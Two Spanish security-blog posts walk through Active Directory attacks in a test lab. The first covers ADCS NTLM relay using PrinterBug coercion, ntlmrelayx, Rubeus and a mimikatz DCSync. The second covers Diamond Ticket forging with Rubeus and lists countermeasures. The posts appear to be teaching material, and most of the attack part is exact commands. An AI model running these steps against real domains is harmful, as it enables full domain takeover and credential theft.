17 jun 2024

Certificate Service Relaying


Tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan diferentes escenarios de explotación los cuales comentaremos a lo largo de diversas entradas en el blog.

A continuación, hablaremos de Certificate Service Relaying con un ejemplo práctico en un laboratorio de pruebas.

En este primer caso, el ataque consta de reutilizar la credencial capturada mediante un “Coerce Autentication” para autenticarse en un ADCS (Active Directory Certificate Service) mal configurado (que lo está por defecto), para poder escalar privilegios en el dominio.

A continuación, se muestran algunas de las condiciones que se deben cumplir para poder realizar este ataque:

  • El ADCS tiene que estar configurado para aceptar autenticaciones NTLM.
  • La autenticación NTLM no está protegida por EPA o firmado SMB.
  • El ADCS está ejecutando cualquiera de los siguientes servicios:
    • Servicio web de directiva de inscripción de certificados.
    • Servicio web de inscripción de certificados.

Resumen

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque:

1. Conseguir acceso a una red configurada con Active Directory y una instancia ADCS mal configurada. Para ciertos ataques de coerce, además habrá que comprometer un usuario del dominio, independientemente de los privilegios de este.

2. Configurar a la escucha, en un equipo controlado por el atacante, un software para realizar la reutilización de la autenticación NTLM contra la instancia ADCS mal configurada.

3. Forzar la autenticación del controlador del dominio (Cualquier vulnerabilidad de “Coerce Autentication”) contra la maquina controlada por el atacante con el software para reutilizar la autenticación NTLM.

4. El controlador de dominio se autentica en la maquina controlada por el atacante.

5. La credencial obtenida del usuario máquina del controlador del dominio es reutilizada para autenticarse sobre el ADCS.

6. El ADCS emite un certificado para el usuario de máquina del controlador del dominio.

7. Haciendo uso del certificado obtenido en el paso anterior, se solicita un ticket Kerberos TGT.

8. Utilizar el ticket TGT del usuario máquina del controlador de dominio para solicitar el TGS de cualquier usuario, o realizar un DCSync para obtener el NTDS del dominio.

Componentes del laboratorio de pruebas

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas:

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para la reutilización de la autenticación.
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso del mismo.
  • CA.corp.lab – Entidad certificadora dentro del dominio “corp.lab”.
  • Windows10 – Equipo con sistema operativo Windows comprometido previamente por el atacante, dentro del dominio “corp.lab”.

Instalación de versión especifica de impacket

Para poder desarrollar este ataque, es necesario tener instalada una versión especifica de impacket, la cual está desarrollada para poder reutilizar contra el ADCS la autenticación NTLM obtenida. Para ello seguiremos los siguientes pasos:

  • Instalar el paquete de entornos virtuales de Python:

                sudo apt install python3-venv


  • Descargar y comprobar la versión especifica de impacket necesaria.


git clone https://github.com/ExAndroidDev/impacket.git

cd impacket

git checkout ntlmrelayx-adcs-attack


  • Crear un nuevo entorno virtual e instalar las dependencias de impacket
python3 -m venv impacket-adcs-attack
source impacket-adcs-attack/bin/activate 
pip install 



Desarrollo del ataque


Identificar servicio ADCS mal configurado en el dominio


Tras instalar la versión especifica de impacket, el primer paso que debe realizar es identificar el ADCS. Para ello se podrá hacer uso de múltiples herramientas, entre las que se encuentra una nativa de Microsoft denominada como certutil.


Tras detectar cual es el servidor, se deberá comprobar si tiene habilitado el servicio web de inscripción de certificados habilitado, para ello accederemos a la siguiente url desde un navegador:

http://ca.corp.lab/certsrv/certqus.asp


Cabe destacar, que al acceder a dicha URL nos solicitará un usuario y una contraseña, el cual será el de un usuario del dominio previamente comprometido (En este caso el usuario “CORP.lab\Bob”).

Una vez llegados a este punto, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados en en otras entradas del blog. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug.

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


Puesta a punto del software para la reutilización de la autenticación NTLM 


A continuación, se deberá configurar el entorno del atacante para poder realizar el ataque de reutilización de contraseñas. Para ello, se deberá configurar la herramienta denominada como Responder de la siguiente forma:

Sudo nano /etc/responder/Responder.conf
SMB = Off
HTTP = Off



A continuación, se deberá ejecutar tanto el script denominado como responder, responsable de capturar la “Coerce autentication” como el script denominado como ntlmrelayx previamente instalado, para realizar la reutilización contra el ADCS de la autenticación NTLM obtenida.

sudo responder -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Forzar autenticación y obtención del certificado expedido por el ADCS

Una vez teniendo en ejecución ambos scripts, se procederá a explotar la “Coerce Autentication”.

python3 printerbug.py "CORP/bob:<password> @dc.corp.lab" attack_machine


Tras la anterior ejecución, se obtendrá el certificado del usuario de máquina del dc:


Obtención del ticket TGT del controlador de dominio

Una vez obtenido el certificado, desde el equipo Windows 10, haremos uso de la herramienta Rubeus para solicitar e importar un ticket TGT del usuario máquina del controlador de dominio.

.\Rubeus.exe asktgt /dc:<ip del DC> /domain:CORP.LAB /user:DC$ /ptt /certificate:<Certificado en base64>


Se deberá comprobar que el ticket está correctamente importado mediante el siguiente comando:

klist



Tras comprobar que se encuentra correctamente importado, se podrán realizar diferentes acciones, como, por ejemplo, solicitar el ticket TGS del usuario Administrador del dominio:

.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /user:Administrador



Una vez obtenido el TGS del usuario administrador del dominio es posible autenticarse en el DC con privilegios elevados y comprometer la totalidad del dominio.

Este ha sido el primero de esperemos que muchos escenarios a comentar… ¿Y tú, cuáles conoces? Hasta la próxima entrada.

Dimas Pastor, Senior Analyst en Grupo Zerolynx.


10 jun 2024

Tickets Kerberos - Diamond Ticket

 

Finalizando la entrega de Tickets Kerberos, damos paso a el Diamond Ticket.

Al igual que un Golden Ticket, un Diamond Ticket es un TGT que puede utilizarse para acceder a cualquier servicio como cualquier usuario.

Un Golden Ticket se crea de manera completamente offline, se cifra con el hash KRBTGT del dominio en cuestión y luego se pasa a una sesión de usuario para su uso. Debido a que los controladores de dominio no rastrean los TGT que han emitido legítimamente, aceptarán sin problemas cualquier TGT que esté cifrado con su propio hash de la cuenta KRBTGT.

Existen dos maneras habituales para detectar el uso de Golden Tickets:

  • Realizar una búsqueda de peticiones TGS-REQ que no tengan una petición AS-REQ correspondiente
  • Realizar una búsqueda de TGT que tengan valores no habituales, como una vida útil de 10 años, que establece Mimikatz por defecto


Un Diamond Ticket se genera de manera diferente, esto es, modificando los campos de un TGT legítimo emitido previamente por un DC. Esto se logra solicitando primero un TGT, descifrándolo con el hash de la cuenta KRBTGT del dominio, modificando los campos deseados del ticket y luego volviéndolo a cifrar. De este modo se evitan las dos detecciones anteriormente mencionadas para un Golden Ticket, ya que:

  • Los TGS-REQ tendrán un AS-REQ asociado
  • El TGT fue emitido por un DC, lo que significa que tendrá todos los detalles correctos de la política Kerberos del dominio. Aunque es cierto que estos detalles pueden falsificarse con precisión durante la creación de un Golden Ticket, es más complejo y está abierto a errores

Impacto:

Un Diamond Ticket, al igual que un Golden Ticket, permite acceso ilimitado y persistente a cualquier recurso dentro del dominio hasta que la clave krbtgt se cambie, lo cual puede ser un proceso complejo y disruptivo.

Explotación

Al igual que en el Golden Ticket, se parte del compromiso total del dominio

Creación del ticket

Para crear el Diamond Ticket, también vamos a hacer uso de la herramienta Rubeus, ejecutando el siguiente comando:

Rubeus.exe diamond /domain:north.sevenkingdoms.local /user:eddard.stark /password:FightP3aceAndHonor! /tickeruser:eddar.stark /ticketuserid:1111 /groups:512 /krbkey:42a38fe97bcf9c48190e5d77e48faa7d95b7fed838c8910845a86d66d78f188a /nowrap


  • Domain: Nombre del dominio 
  • User: Usuario con el que se pedirá el TGT a modificar
  • Password: Contraseña del usuario con el que se pedirá el TGT a modificar
  • Ticketuser: Usuario a impersonar
  • Ticketusersid: SID del usuario a impersonar
  • Groups: Grupos que queremos que se añadan en el ticket (512 -> Domain Admins)
  • Krbkey: Clave AES256 de la cuenta KRBTGT

Importar el ticket


Una vez obtenido el ticket, podemos comprobar que no tenemos acceso mediante SMB al Controlador de Dominio.

ls \\winterfell\c$


Para ganar acceso, primero importamos el ticket en nuestra sesión. Podemos hacer uso de Rubeus de nuevo para lograrlo:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username:eddard.stark /password:PassFake /ticket: doIFvT[…]LkxPQ0FM



  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario
  • Ticket: El ticket creado anteriormente

Una vez importado el ticket, podemos acceder al DC como podemos ver en la imagen.
ls \\winterfell\c$



Contramedidas:

  • Rotación de Contraseñas: Regularmente cambiar las contraseñas de las cuentas de servicio. De manera especial, asegurar que la cuenta KRBTGT esté protegida y que su contraseña sea cambiada periódicamente, aunque con cuidado debido al impacto significativo que se podría producir en el entorno.
  • Seguridad de las Cuentas de Servicio: Asegurar que las cuentas de servicio utilicen contraseñas fuertes y únicas.
  • Segmentación y Limitación de Privilegios: Aplicar el principio de privilegios mínimos y segmentar la red para limitar el alcance de cualquier posible compromiso, asegurando que el acceso a recursos críticos esté restringido y monitoreado.
  • Auditoría y Monitoreo: Configurar auditorías y monitoreo exhaustivo de la actividad de autenticación y uso de tickets Kerberos. Monitoreo y Detección Proactiva: Implementar soluciones de monitoreo y detección avanzadas que puedan identificar patrones anómalos y actividades sospechosas, incluyendo el análisis de tráfico de red, actividad de autenticación y uso de tickets Kerberos anómalos.
  • Auditorías y Revisiones Regulares: Realizar auditorías de seguridad regulares y revisiones de permisos para identificar y corregir cualquier configuración indebida o vulnerabilidad potencial.

Regresando un poco a la feria donde solemos usar muchos tickets os dejamos a modo resumen la siguiente tabla:

CaracterísticaSilver TicketGolden TicketDiamond Ticket
ObjetivoServicio específicoAcceso a todo el dominioAcceso a todo el dominio
Credenciales necesariasCuenta de servicio específicoAdministrador de dominio o KRBTGT.Administrador de dominio o KRBTGT.
ImpactoAcceso limitado a un servicioAcceso ilimitado en el dominioAcceso ilimitado en el dominio
Complejidad del AtaqueModeradaAltaMuy alta
Contramedidas ClaveRotación de contraseñas, monitoreoProtección de KRBTGT, monitoreo exhaustivoProtección de KRBTGT, monitoreo exhaustivo


Con esto concluimos el paseo por las diferentes atracciones. Nos vemos en la siguiente feria perdón, entrega.

Álvaro Temes, analista de ciberseguridad en Zerolynx.